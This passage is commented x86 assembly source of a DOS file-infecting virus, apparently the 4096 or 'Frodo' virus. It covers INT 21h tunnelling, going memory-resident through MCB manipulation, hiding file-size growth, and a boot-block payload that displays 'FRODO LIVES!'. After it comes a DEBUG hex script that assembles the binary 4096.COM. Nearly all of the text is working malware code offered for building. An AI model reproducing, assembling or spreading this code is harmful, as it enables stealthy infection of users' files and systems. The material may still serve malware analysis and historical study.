mov ax,3301h ; Turn BREAK off
xor dl,dl
call callint21
retn
restoreBREAK:
mov dl,cs:BREAKsave
mov ax,3301h ; restore BREAK setting
call callint21
retn
_pushall:
pop word ptr cs:pushpopalltempstore
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
jmp word ptr cs:pushpopalltempstore
swapvirint21:
les di,dword ptr cs:oldint21; delve into original int
mov si,offset jmpfarptr ; handler and swap the first
push cs ; 5 bytes. This toggles it
pop ds ; between a jmp to the virus
cld ; code and the original 5
mov cx,5 ; bytes of the int handler
swapvirint21loop: ; this is a tunnelling method
lodsb ; if I ever saw one
xchg al,es:[di] ; puts the bytes in DOS's
mov [si-1],al ; int 21h handler
inc di
loop swapvirint21loop
retn
_popall:
pop word ptr cs:pushpopalltempstore
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:pushpopalltempstore
restoreregs:
mov word ptr cs:storecall,offset _popall
jmp short do_saverestoreregs
saveregs:
mov word ptr cs:storecall,offset _pushall
do_saverestoreregs:
mov cs:storess,ss ; save stack
mov cs:storesp,sp
push cs
pop ss
mov sp,cs:stackptr ; set new stack
call word ptr cs:storecall
mov cs:stackptr,sp ; update internal stack ptr
mov ss,cs:storess ; and restore stack to
mov sp,cs:storesp ; caller program's stack
retn
replaceint1:
mov al,1 ; get the old interrupt
call getint ; 1 handler and save it
mov word ptr cs:oldint1,bx ; for later restoration
mov word ptr cs:oldint1+2,es
push cs
pop ds
mov dx,offset int1 ; set int 1 handler to
call setvect ; the virus int handler
retn
allocatememory:
call allocate_memory
jmp exitotherint21
allocate_memory:
cmp byte ptr cs:checkres,0 ; installed check
je exitallocate_memory ; exit if installed
cmp bx,0FFFFh ; finding total memory?
jne exitallocate_memory ; (virus trying to install?)
mov bx,160h ; allocate memory to virus
call callint21
jc exitallocate_memory ; exit on error
mov dx,cs
cmp ax,dx
jb continue_allocate_memory
mov es,ax
mov ah,49h ; Free memory
call callint21
jmp short exitallocate_memory
continue_allocate_memory:
dec dx ; get segment of MCB
mov ds,dx
mov word ptr ds:[1],0 ; mark unused MCB
inc dx ; go to memory area
mov ds,dx
mov es,ax
push ax
mov word ptr cs:int21store+2,ax ; fixup segment
xor si,si
mov di,si
mov cx,0B00h
rep movsw ; copy virus up there
dec ax ; go to MCB
mov es,ax
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
mov es:[1],ax ; make vir ID = DOS PSP ID
mov ax,offset exitallocate_memory
push ax
retf
exitallocate_memory:
retn
get_device_info:
mov byte ptr cs:hide_size,2
jmp exitotherint21
callint21: ; call original int 21h handler (tunnelled)
pushf
call dword ptr cs:oldint21
retn
bootblock:
cli
xor ax,ax ; set new stack just below
mov ss,ax ; start of load area for
mov sp,7C00h ; boot block
jmp short enter_bootblock
borderchars db '<27><><EFBFBD> '
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
db 11111001b,11100000b,11100011b,11000011b,10000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 11110001b,11110001b,00010010b,00100100b,01000000b
db 10000001b,00100001b,00010010b,00100100b,01000000b
db 10000001b,00010000b,11100011b,11000011b,10000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 10000010b,01000100b,11111000b,01110000b,11000000b
db 10000010b,01000100b,10000000b,10001000b,11000000b
db 10000010b,01000100b,10000000b,10000000b,11000000b
db 10000010b,01000100b,11110000b,01110000b,11000000b
db 10000010b,00101000b,10000000b,00001000b,11000000b
db 10000010b,00101000b,10000000b,10001000b,00000000b
db 11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
push cs
pop ds
mov dx,0B000h ; get video page in bh
mov ah,0Fh ; get video mode in al
int 10h ; get columns in ah
cmp al,7 ; check if colour
je monochrome
mov dx,0B800h ; colour segment
monochrome:
mov es,dx ; es->video segment
cld
xor di,di
mov cx,25*80 ; entire screen
mov ax,720h ; ' ', normal attribute
rep stosw ; clear the screen
mov si,7C00h+FRODO_LIVES-bootblock
mov bx,2AEh
morelinestodisplay:
mov bp,5
mov di,bx
displaymorebackgroundontheline:
lodsb ; get background pattern
mov dh,al
mov cx,8
displayinitialbackground:
mov ax,720h
shl dx,1
jnc spacechar
mov al,'<27>'
spacechar:
stosw
loop displayinitialbackground
dec bp
jnz displaymorebackgroundontheline
add bx,80*2 ; go to next line
cmp si,7C00h+enter_bootblock-bootblock
jb morelinestodisplay
mov ah,1 ; set cursor mode to cx
int 10h
mov al,8 ; set new int 8 handler
mov dx,7C00h+int8-bootblock ; to spin border
call setvect
mov ax,7FEh ; enable timer interrupts only
out 21h,al
sti
xor bx,bx
mov cx,1
jmp short $ ; loop forever while
; spinning the border
int8: ; the timer interrupt spins
dec cx ; the border
jnz endint8
xor di,di
inc bx
call spin_border
call spin_border
mov cl,4 ; wait 4 more ticks until
endint8: ; next update
mov al,20h ; Signal end of interrupt
out 20h,al
iret
spin_border:
mov cx,28h ; do 40 characters across
dohorizontal:
call lookup_border_char
stosw
stosw
loop dohorizontal
patch2:
add di,9Eh ; go to next line
mov cx,17h ; do for next 23 lines
dovertical: ; handle vertical borders
call lookup_border_char ; get border character
stosw ; print it on screen
patch3:
add di,9Eh ; go to next line
loop dovertical
patch1:
std
; this code handles the other half of the border
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
retn
lookup_border_char:
and bx,3 ; find corresponding border
mov al,ds:[bx+7C00h+borderchars-bootblock]
inc bx ; character
retn
setvect:
push es
push bx
xor bx,bx
mov es,bx
mov bl,al ; int # to bx
shl bx,1 ; int # * 4 = offset in
shl bx,1 ; interrupt table
mov es:[bx],dx ; set the vector in the
mov es:[bx+2],ds ; interrupt table
pop bx
pop es
retn
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
call replaceint13and24
mov dl,80h
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
db 03h, 6Ch, 15h, 03h, 00h, 26h
db 00h, 00h, 00h, 21h, 00h, 50h
db 12h, 65h, 14h, 82h, 08h, 00h
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
db 00h,0E2h, 0Ch, 50h
org 1200h
readbuffer dw ? ; beginning of the read buffer
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
lengthinpages dw ? ; EXE header item - length of image in pages
relocationitems dw ? ; EXE header item - # relocation items
headersize dw ? ; EXE header item - header size in paragraphs
minmemory dw ? ; EXE header item - minimum memory allocation
maxmemory dw ? ; EXE header item - maximum memory allocation
initialSS dw ? ; EXE header item - initial SS value
initialSP dw ? ; EXE header item - initial SP value
wordchecksum dw ? ; EXE header item - checksum value
initialIP dw ? ; EXE header item - initial IP value
initialCS dw ? ; EXE header item - initial CS value
db 12 dup (?) ; rest of header - unused
parmblock dd ? ; address of parameter block
filedrive db ? ; 0 = default drive
filetime dw ? ; saved file time
filedate dw ? ; saved file date
origints dd ? ; temporary scratch buffer for interrupt vectors
oldint1 dd ? ; original interrupt 1 vector
oldint21 dd ? ; original interrupt 21h vector
oldint13 dd ? ; original interrupt 13h vector
oldint24 dd ? ; original interrupt 24h vector
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
carrierPSP dw ? ; carrier file PSP segment
DOSsegment dw ? ; segment of DOS list of lists
ownerfirstMCB dw ? ; owner of the first MCB
jmpfarptr db ? ; 0eah, jmp far ptr
int21store dd ? ; temporary storage for other 4 bytes
; and for pointer to virus int 21h
tracemode db ? ; trace mode
instructionstotrace db ? ; number of instructions to trace
handletable dw 28h dup (?) ; array of handles
handlesleft db ? ; entries left in table
currentPSP dw ? ; storage for the current PSP segment
curfileposlow dw ? ; current file pointer location, low word
curfileposhigh dw ? ; current file pointer location, high word
filesizelow dw ? ; current file size, low word
filesizehigh dw ? ; current file size, high word
savebuffer dw ? ; storage for handle read, etc.
savelength dw ? ; functions
return_code dw ? ; returned in AX on exit of int 21h
int21flags dw ? ; storage of int 21h return flags register
tempFCB db 25h dup (?) ; copy of the FCB
errorflag db ? ; 0 if no error, 1 if error
int13flags dw ? ; storage of int 13h return flags register
savess dw ? ; temporary storage of stack segment
savesp dw ? ; and stack pointer
BREAKsave db ? ; current BREAK state
checkres db ? ; already installed flag
initialax dw ? ; AX upon entry to carrier
saveIMR db ? ; storage for interrupt mask register
saveoffset dw ? ; temp storage of CS:IP of
savesegment dw ? ; caller to int 21h
pushpopalltempstore dw ? ; push/popall caller address
numfreeclusters dw ? ; total free clusters
DOSversion db ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size db ? ; hide filesize increase if equal to 0
copyparmblock db 0eh dup (?) ; copy of the parameter block
origsp dw ? ; temporary storage of stack pointer
origss dw ? ; and stack segment
origcsip dd ? ; temporary storage of caller CS:IP
copyfilename db 50h dup (?) ; copy of filename
storesp dw ? ; temporary storage of stack pointer
storess dw ? ; and stack segment
stackptr dw ? ; register storage stack pointer
storecall dw ? ; temporary storage of function offset
topstack = 1600h
_4096 ends
end
-------------------------------------<CUT>-------------------------------------
N 4096.COM
E 0100 00 E9 A7 00 C3 75 02 44 15 46 20 43 6F 70 79 72
E 0110 69 67 68 74 20 42 6F 75 72 62 25 7D 69 2C 20 49
E 0120 00 FE 3A 55 8B EC 50 81 7E 04 00 C0 73 0C 2E A1
E 0130 47 12 39 46 04 76 03 58 5D CF 2E 80 3E 50 12 01
E 0140 74 32 8B 46 04 2E A3 2F 12 8B 46 02 2E A3 2D 12
E 0150 72 15 58 5D 2E 8E 16 DD 12 2E 8B 26 DF 12 2E A0
E 0160 E5 12 E6 21 E9 D9 0C 81 66 06 FF FE 2E A0 E5 12
E 0170 E6 21 EB C3 2E FE 0E 51 12 75 BC 81 66 06 FF FE
E 0180 E8 6C 0D E8 34 0D 2E C5 16 31 12 B0 01 E8 0C 0F
E 0190 E8 53 0D EB D2 1E 56 33 F6 8E DE 32 E4 8B F0 D1
E 01A0 E6 D1 E6 8B 1C 8E 44 02 5E 1F C3 2E C7 06 5B 13
E 01B0 00 16 2E A3 E3 12 B4 30 CD 21 2E A2 EE 12 2E 8C
E 01C0 1E 45 12 B4 52 CD 21 26 8B 47 FE 2E A3 47 12 8E
E 01D0 C0 26 A1 01 00 2E A3 49 12 0E 1F B0 01 E8 B5 FF
E 01E0 89 1E 31 12 8C 06 33 12 B0 21 E8 A8 FF 89 1E 2D
E 01F0 12 8C 06 2F 12 C6 06 50 12 00 BA 23 00 B0 01 E8
E 0200 9A 0E 9C 58 0D 00 01 50 E4 21 A2 E5 12 B0 FF E6
E 0210 21 9D B4 52 9C FF 1E 2D 12 9C 58 25 FF FE 50 9D
E 0220 A0 E5 12 E6 21 1E C5 16 31 12 B0 01 E8 6D 0E 1F
E 0230 C4 3E 2D 12 89 3E 35 12 8C 06 37 12 C6 06 4B 12
E 0240 EA C7 06 4C 12 CC 02 8C 0E 4E 12 E8 6C 0C B8 00
E 0250 4B 88 26 E2 12 BA 21 00 FF 36 20 00 CD 21 8F 06
E 0260 20 00 26 83 45 FC 09 90 8E 06 45 12 8E 1E 45 12
E 0270 81 2E 02 00 61 01 8B 2E 02 00 8C DA 2B EA B4 4A
E 0280 BB FF FF CD 21 B4 4A CD 21 4A 8E DA 80 3E 00 00
E 0290 5A 74 05 2E FE 0E E2 12 2E 80 3E E2 12 00 74 05
E 02A0 C6 06 00 00 4D A1 03 00 8B D8 2D 61 01 03 D0 A3
E 02B0 03 00 42 8E C2 26 C6 06 00 00 5A 2E FF 36 49 12
E 02C0 26 8F 06 01 00 26 C7 06 03 00 60 01 42 8E C2 0E
E 02D0 1F B9 00 0B BE FE 15 8B FE FD F3 A5 FC 06 B8 EE
E 02E0 01 50 2E 8E 06 45 12 B4 4A 8B DD CD 21 CB E8 C9
E 02F0 0B 2E 8C 0E 4E 12 E8 C1 0B 0E 1F C6 06 A2 12 14
E 0300 0E 07 BF 52 12 B9 14 00 33 C0 F3 AB A2 EF 12 A1
E 0310 45 12 8E C0 26 C5 16 0A 00 8E D8 05 10 00 2E 01
E 0320 06 1A 00 2E 80 3E 20 00 00 75 24 FB 2E A1 04 00
E 0330 A3 00 01 2E A1 06 00 A3 02 01 2E A1 08 00 A3 04
E 0340 01 2E FF 36 45 12 B8 00 01 50 2E A1 E3 12 CB 2E
E 0350 01 06 12 00 2E A1 E3 12 2E 8E 16 12 00 2E 8B 26
E 0360 14 00 FB 2E FF 2E 18 00 81 FC 00 01 77 02 33 E4
E 0370 8B E8 E8 00 00 59 81 E9 75 02 8C C8 BB 10 00 F7
E 0380 E3 03 C1 83 D2 00 F7 F3 50 B8 AB 00 50 8B C5 CB
E 0390 30 7C 07 23 4E 04 37 8B 0E 4B 8B 05 3C D5 04 3D
E 03A0 11 05 3E 55 05 0F 9B 03 14 CD 03 21 C1 03 27 BF
E 03B0 03 11 59 03 12 59 03 4E 9F 04 4F 9F 04 3F A5 0A
E 03C0 40 8A 0B 42 90 0A 57 41 0A 48 34 0E 3D 00 4B 75
E 03D0 04 2E A2 E2 12 55 8B EC FF 76 06 2E 8F 06 B3 12
E 03E0 5D 55 8B EC E8 08 0B E8 D0 0A E8 9A 0A E8 F6 0A
E 03F0 E8 B4 0A 53 BB 90 02 2E 3A 27 75 09 2E 8B 5F 01
E 0400 87 5E EC FC C3 83 C3 03 81 FB CC 02 72 E9 5B E8
E 0410 89 0A E4 21 2E A2 E5 12 B0 FF E6 21 2E C6 06 51
E 0420 12 04 2E C6 06 50 12 01 E8 F1 0A E8 A5 0A 50 2E
E 0430 A1 B3 12 0D 00 01 50 9D 58 5D 2E FF 2E 35 12 E8
E 0440 AD 0A E8 56 0A E8 72 0A E8 9B 0A 5D 55 8B EC 2E
E 0450 FF 36 B3 12 8F 46 06 5D CF E8 77 0A E8 35 0B 0A
E 0460 C0 75 DC E8 41 0A E8 18 02 B0 00 80 3F FF 75 06
E 0470 8A 47 06 83 C3 07 2E 20 06 F0 12 F6 47 1A 80 74
E 0480 15 80 6F 1A C8 2E 80 3E F0 12 00 75 09 81 6F 1D
E 0490 00 10 83 5F 1F 00 E8 3A 0A EB A4 E8 35 0A E8 F3
E 04A0 0A E8 03 0A 0A C0 75 EE 8B DA F6 47 15 80 74 E6
E 04B0 80 6F 15 C8 81 6F 10 00 10 80 5F 12 00 EB D7 E3
E 04C0 1B 8B DA 8B 77 21 0B 77 23 75 11 EB 0A 8B DA 8B
E 04D0 47 0C 0A 47 20 75 05 E8 3F 05 73 03 E9 30 FF E8
E 04E0 F1 09 E8 C2 09 E8 AC 0A 89 46 FC 89 4E F8 1E 52
E 04F0 E8 8E 01 83 7F 14 01 74 0F 8B 07 03 47 02 03 47
E 0500 04 74 05 83 C4 04 EB 8E 5A 1F 8B F2 0E 07 BF B5
E 0510 12 B9 25 00 F3 A4 BF B5 12 0E 1F 8B 45 10 8B 55
E 0520 12 05 0F 10 83 D2 00 25 F0 FF 89 45 10 89 55 12
E 0530 2D FC 0F 83 DA 00 89 45 21 89 55 23 C7 45 0E 01
E 0540 00 B9 1C 00 8B D7 B4 27 E8 49 0A E9 48 FF 0E 07
E 0550 8B F2 BF B5 12 B9 25 00 F3 A4 1E 52 0E 1F BA B5
E 0560 12 B4 0F E8 2E 0A B4 10 E8 29 0A F6 06 CA 12 80
E 0570 5E 1F 74 7E 2E C4 1E C5 12 8C C0 81 EB 00 10 1D
E 0580 00 00 33 D2 2E 8B 0E C3 12 49 03 D9 15 00 00 41
E 0590 F7 F1 89 44 23 92 93 F7 F1 89 44 21 E9 F7 FE 2E
E 05A0 83 26 B3 12 FE E8 2B 09 E8 E9 09 E8 F9 08 73 09
E 05B0 2E 83 0E B3 12 01 E9 DD FE E8 C5 00 F6 47 19 80
E 05C0 75 03 E9 D1 FE 81 6F 1A 00 10 83 5F 1C 00 80 6F
E 05D0 19 C8 E9 C1 FE 51 83 E1 07 83 F9 07 74 2F 59 E8
E 05E0 E4 07 E8 AF 09 E8 84 08 9C 2E 80 3E DA 12 00 74
E 05F0 04 9D E9 1A FE 9D 72 09 8B D8 B4 3E E8 95 09 EB
E 0600 10 2E 80 0E B3 12 01 89 46 FC E9 89 FE 59 E9 FE
E 0610 FD E8 5D 04 E8 0E 04 72 39 2E 80 3E A2 12 00 74
E 0620 31 E8 5A 04 83 FB FF 74 29 2E FE 0E A2 12 0E 07
E 0630 BF 52 12 B9 14 00 33 C0 F2 AF 2E A1 A3 12 26 89
E 0640 45 FE 26 89 5D 26 89 5E FC 2E 80 26 B3 12 FE E9
E 0650 44 FE E9 BA FD 0E 07 E8 17 04 BF 52 12 B9 14 00
E 0660 2E A1 A3 12 F2 AF 75 16 26 3B 5D 26 75 F6 26 C7
E 0670 45 FE 00 00 E8 1C 02 2E FE 06 A2 12 EB CB E9 8E
E 0680 FD 06 B4 2F E8 0D 09 06 1F 07 C3 0A C0 74 03 E9
E 0690 4E 01 1E 52 2E 89 1E 24 12 2E 8C 06 26 12 2E C5
E 06A0 36 24 12 BF F1 12 B9 0E 00 0E 07 F3 A4 5E 1F BF
E 06B0 07 13 B9 50 00 F3 A4 BB FF FF E8 7D 08 E8 13 08
E 06C0 5D 2E 8F 06 E6 12 2E 8F 06 E8 12 2E 8F 06 B3 12
E 06D0 B8 01 4B 0E 07 BB F1 12 9C 2E FF 1E 35 12 73 20
E 06E0 2E 83 0E B3 12 01 2E FF 36 B3 12 2E FF 36 E8 12
E 06F0 2E FF 36 E6 12 55 8B EC 2E C4 1E 24 12 E9 3F FD
E 0700 E8 6E 03 0E 07 BF 52 12 B9 14 00 2E A1 A3 12 F2
E 0710 AF 75 0D 26 C7 45 FE 00 00 2E FE 06 A2 12 EB EB
E 0720 2E C5 36 03 13 83 FE 01 75 33 8B 16 1A 00 83 C2
E 0730 10 B4 51 E8 5E 08 03 D3 2E 89 16 05 13 FF 36 18
E 0740 00 2E 8F 06 03 13 83 C3 10 03 1E 12 00 2E 89 1E
E 0750 01 13 FF 36 14 00 2E 8F 06 FF 12 EB 22 8B 04 03
E 0760 44 02 03 44 04 74 60 0E 1F BA 07 13 E8 B6 02 E8
E 0770 0C 03 2E FE 06 EF 12 E8 19 01 2E FE 0E EF 12 B4
E 0780 51 E8 10 08 E8 68 07 E8 11 07 E8 2D 07 E8 56 07
E 0790 8E DB 8E C3 2E FF 36 B3 12 2E FF 36 E8 12 2E FF
E 07A0 36 E6 12 8F 06 0A 00 8F 06 0C 00 1E C5 16 0A 00
E 07B0 B0 22 E8 E7 08 1F 9D 58 2E 8E 16 01 13 2E 8B 26
E 07C0 FF 12 2E FF 2E 03 13 8B 5C 01 8B 80 9F FD 89 04
E 07D0 8B 80 A1 FD 89 44 02 8B 80 A3 FD 89 44 04 EB 9F
E 07E0 3C 01 74 03 E9 28 FC 2E 83 0E B3 12 01 2E 89 1E
E 07F0 24 12 2E 8C 06 26 12 E8 D9 06 E8 97 07 E8 A7 06
E 0800 2E C4 1E 24 12 26 C5 77 12 72 6E 2E 80 26 B3 12
E 0810 FE 83 FE 01 74 23 8B 04 03 44 02 03 44 04 75 45
E 0820 8B 5C 01 8B 80 9F FD 89 04 8B 80 A1 FD 89 44 02
E 0830 8B 80 A3 FD 89 44 04 EB 2C 8B 16 1A 00 E8 31 02
E 0840 2E 8B 0E A3 12 83 C1 10 03 D1 26 89 57 14 A1 18
E 0850 00 26 89 47 12 A1 12 00 03 C1 26 89 47 10 A1 14
E 0860 00 26 89 47 0E E8 09 02 2E 8E 1E A3 12 8B 46 02
E 0870 A3 0A 00 8B 46 04 A3 0C 00 E9 1A FC 2E C6 06 F0
E 0880 12 00 B4 2A E8 0D 07 81 FA 16 09 72 03 E8 22 08
E 0890 E9 7C FB E8 30 05 E8 BC 00 C6 06 20 00 01 81 3E
E 08A0 00 12 4D 5A 74 0E 81 3E 00 12 5A 4D 74 06 FE 0E
E 08B0 20 00 74 58 A1 04 12 D1 E1 F7 E1 05 00 02 3B C6
E 08C0 72 48 A1 0A 12 0B 06 0C 12 74 3F A1 A9 12 8B 16
E 08D0 AB 12 B9 00 02 F7 F1 0B D2 74 01 40 A3 04 12 89
E 08E0 16 02 12 83 3E 14 12 01 74 62 C7 06 14 12 01 00
E 08F0 8B C6 2B 06 08 12 A3 16 12 83 06 04 12 08 A3 0E
E 0900 12 C7 06 10 12 00 10 E8 A9 00 EB 40 81 FE 00 0F
E 0910 73 3A A1 00 12 A3 04 00 03 D0 A1 02 12 A3 06 00
E 0920 03 D0 A1 04 12 A3 08 00 03 D0 74 20 B1 E9 88 0E
E 0930 00 12 B8 10 00 F7 E6 05 65 02 A3 01 12 A1 00 12
E 0940 03 06 02 12 F7 D8 A3 04 12 E8 67 00 B4 3E E8 43
E 0950 06 E8 18 05 C3 0E 1F B8 00 57 E8 37 06 89 0E 29
E 0960 12 89 16 2B 12 B8 00 42 33 C9 8B D1 E8 25 06 B4
E 0970 3F B1 1C BA 00 12 E8 1B 06 B8 00 42 33 C9 8B D1
E 0980 E8 11 06 B4 3F B1 1C BA 04 00 E8 07 06 B8 02 42
E 0990 33 C9 8B D1 E8 FD 05 A3 A9 12 89 16 AB 12 8B F8
E 09A0 05 0F 00 83 D2 00 25 F0 FF 2B F8 B9 10 00 F7 F1
E 09B0 8B F0 C3 B8 00 42 33 C9 8B D1 E8 D7 05 B4 40 B1
E 09C0 1C BA 00 12 E8 CD 05 B8 10 00 F7 E6 8B CA 8B D0
E 09D0 B8 00 42 E8 BE 05 33 D2 B9 00 10 03 CF B4 40 E8
E 09E0 B2 05 B8 01 57 8B 0E 29 12 8B 16 2B 12 F6 C6 80
E 09F0 75 03 80 C6 C8 E8 9C 05 80 3E EE 12 03 72 19 80
E 0A00 3E EF 12 00 74 12 53 8A 16 28 12 B4 32 E8 84 05
E 0A10 2E A1 EC 12 89 47 1E 5B C3 E8 D3 04 8B FA 83 C7
E 0A20 0D 1E 07 EB 20 E8 C7 04 1E 07 8B FA B9 50 00 33
E 0A30 C0 B3 00 80 7D 01 3A 75 05 8A 1D 80 E3 1F 2E 88
E 0A40 1E 28 12 F2 AE 8B 45 FD 25 DF DF 02 E0 8A 45 FC
E 0A50 24 DF 02 C4 2E C6 06 20 00 00 3C DF 74 09 2E FE
E 0A60 06 20 00 3C E2 75 05 E8 7C 04 F8 C3 E8 77 04 F9
E 0A70 C3 53 B4 51 E8 1D 05 2E 89 1E A3 12 5B C3 E8 45
E 0A80 03 52 2E 8A 16 28 12 B4 36 E8 08 05 F7 E1 F7 E3
E 0A90 8B DA 5A 0B DB 75 05 3D 00 40 72 43 B8 00 43 E8
E 0AA0 F2 04 72 3B 8B F9 33 C9 B8 01 43 E8 E6 04 2E 80
E 0AB0 3E DA 12 00 75 29 B8 02 3D E8 D8 04 72 21 8B D8
E 0AC0 8B CF B8 01 43 E8 CC 04 53 2E 8A 16 28 12 B4 32
E 0AD0 E8 C1 04 8B 47 1E 2E A3 EC 12 5B E8 8E 03 C3 33
E 0AE0 DB 4B E8 87 03 C3 51 52 50 B8 00 44 E8 A5 04 80
E 0AF0 F2 80 F6 C2 80 74 09 B8 00 57 E8 97 04 F6 C6 80
E 0B00 58 5A 59 C3 E8 E8 03 B8 01 42 33 C9 33 D2 E8 83
E 0B10 04 2E A3 A5 12 2E 89 16 A7 12 B8 02 42 33 C9 33
E 0B20 D2 E8 70 04 2E A3 A9 12 2E 89 16 AB 12 B8 00 42
E 0B30 2E 8B 16 A5 12 2E 8B 0E A7 12 E8 57 04 E8 A6 03
E 0B40 C3 0A C0 75 22 2E 83 26 B3 12 FE E8 85 03 E8 43
E 0B50 04 72 0B F6 C6 80 74 03 80 EE C8 E9 E1 F8 2E 83
E 0B60 0E B3 12 01 E9 D8 F8 3C 01 75 37 2E 83 26 B3 12
E 0B70 FE F6 C6 80 74 03 80 EE C8 E8 6A FF 74 03 80 C6
E 0B80 C8 E8 10 04 89 46 FC 2E 83 16 B3 12 00 E9 06 F9
E 0B90 3C 02 75 0E E8 4F FF 74 09 81 6E F6 00 10 83 5E
E 0BA0 F8 00 E9 6A F8 2E 80 26 B3 12 FE E8 38 FF 74 F2
E 0BB0 2E 89 0E AF 12 2E 89 16 AD 12 2E C7 06 B1 12 00
E 0BC0 00 E8 40 FF 2E A1 A9 12 2E 8B 16 AB 12 2D 00 10
E 0BD0 83 DA 00 2E 2B 06 A5 12 2E 1B 16 A7 12 79 08 C7
E 0BE0 46 FC 00 00 E9 62 FA 75 08 3B C1 77 04 2E A3 AF
E 0BF0 12 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 05 83
E 0C00 FA 1C 76 1A 2E 8B 16 AD 12 2E 8B 0E AF 12 B4 3F
E 0C10 E8 81 03 2E 03 06 B1 12 89 46 FC E9 78 F8 8B F2
E 0C20 8B FA 2E 03 3E AF 12 83 FF 1C 72 04 33 FF EB 05
E 0C30 83 EF 1C F7 DF 8B C2 2E 8B 0E AB 12 2E 8B 16 A9
E 0C40 12 83 C2 0F 83 D1 00 83 E2 F0 81 EA FC 0F 83 D9
E 0C50 00 03 D0 83 D1 00 B8 00 42 E8 38 03 B9 1C 00 2B
E 0C60 CF 2B CE B4 3F 2E 8B 16 AD 12 E8 27 03 2E 01 06
E 0C70 AD 12 2E 29 06 AF 12 2E 01 06 B1 12 33 C9 BA 1C
E 0C80 00 B8 00 42 E8 0D 03 E9 7A FF 2E 80 26 B3 12 FE
E 0C90 E8 53 FE 75 03 E9 0A FF 2E 89 0E AF 12 2E 89 16
E 0CA0 AD 12 2E C7 06 B1 12 00 00 E8 58 FE 2E A1 A9 12
E 0CB0 2E 8B 16 AB 12 2D 00 10 83 DA 00 2E 2B 06 A5 12
E 0CC0 2E 1B 16 A7 12 78 02 EB 7E E8 FA 00 0E 1F 8B 16
E 0CD0 A9 12 8B 0E AB 12 83 C2 0F 83 D1 00 83 E2 F0 81
E 0CE0 EA FC 0F 83 D9 00 B8 00 42 E8 A8 02 BA 04 00 B9
E 0CF0 1C 00 B4 3F E8 9D 02 B8 00 42 33 C9 8B D1 E8 93
E 0D00 02 BA 04 00 B9 1C 00 B4 40 E8 88 02 BA 00 F0 B9
E 0D10 FF FF B8 02 42 E8 7C 02 B4 40 33 C9 E8 75 02 8B
E 0D20 16 A5 12 8B 0E A7 12 B8 00 42 E8 67 02 B8 00 57
E 0D30 E8 61 02 F6 C6 80 74 09 80 EE C8 B8 01 57 E8 53
E 0D40 02 E8 28 01 E9 C8 F6 75 07 3B C1 77 03 E9 79 FF
E 0D50 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 08 83 FA
E 0D60 1C 77 03 E9 63 FF E8 6A 01 E8 28 02 E8 38 01 B8
E 0D70 00 57 E8 1F 02 F6 C6 80 75 09 80 C6 C8 B8 01 57
E 0D80 E8 11 02 E9 10 F7 E9 86 F6 2E 8F 06 41 12 2E 8F
E 0D90 06 43 12 2E 8F 06 DB 12 2E 83 26 DB 12 FE 2E 80
E 0DA0 3E DA 12 00 75 11 2E FF 36 DB 12 2E FF 1E 2D 12
E 0DB0 73 06 2E FE 06 DA 12 F9 2E FF 2E 41 12 32 C0 2E
E 0DC0 C6 06 DA 12 01 CF 2E C6 06 DA 12 00 E8 20 01 0E
E 0DD0 1F B0 13 E8 BF F3 89 1E 2D 12 8C 06 2F 12 89 1E
E 0DE0 39 12 8C 06 3B 12 B2 00 B0 0D E8 A8 F3 8C C0 3D
E 0DF0 00 C0 73 02 B2 02 B0 0E E8 9A F3 8C C0 3D 00 C0
E 0E00 73 02 B2 02 88 16 50 12 E8 11 01 8C 16 DD 12 89
E 0E10 26 DF 12 0E B8 40 0D 50 B8 70 00 8E C0 B9 FF FF
E 0E20 B0 CB 33 FF F2 AE 4F 9C 06 57 9C 58 80 CC 01 50
E 0E30 E4 21 A2 E5 12 B0 FF E6 21 9D 33 C0 FF 2E 2D 12
E 0E40 C5 16 31 12 B0 01 E8 53 02 0E 1F BA 89 0C B0 13
E 0E50 E8 49 02 B0 24 E8 3D F3 89 1E 3D 12 8C 06 3F 12
E 0E60 BA BD 0C B0 24 E8 34 02 E8 7B 00 C3 E8 80 00 2E
E 0E70 C5 16 39 12 B0 13 E8 23 02 2E C5 16 3D 12 B0 24
E 0E80 E8 19 02 E8 60 00 C3 B8 00 33 E8 07 01 2E 88 16
E 0E90 E1 12 B8 01 33 32 D2 E8 FA 00 C3 2E 8A 16 E1 12
E 0EA0 B8 01 33 E8 EE 00 C3 2E 8F 06 EA 12 9C 50 53 51
E 0EB0 52 56 57 1E 06 2E FF 26 EA 12 2E C4 3E 35 12 BE
E 0EC0 4B 12 0E 1F FC B9 05 00 AC 26 86 05 88 44 FF 47
E 0ED0 E2 F6 C3 2E 8F 06 EA 12 07 1F 5F 5E 5A 59 5B 58
E 0EE0 9D 2E FF 26 EA 12 2E C7 06 5D 13 D3 0D EB 07 2E
E 0EF0 C7 06 5D 13 A7 0D 2E 8C 16 59 13 2E 89 26 57 13
E 0F00 0E 17 2E 8B 26 5B 13 2E FF 16 5D 13 2E 89 26 5B
E 0F10 13 2E 8E 16 59 13 2E 8B 26 57 13 C3 B0 01 E8 74
E 0F20 F2 2E 89 1E 31 12 2E 8C 06 33 12 0E 1F BA 23 00
E 0F30 E8 69 01 C3 E8 03 00 E9 D5 F4 2E 80 3E E2 12 00
E 0F40 74 48 83 FB FF 75 43 BB 60 01 E8 47 00 72 3B 8C
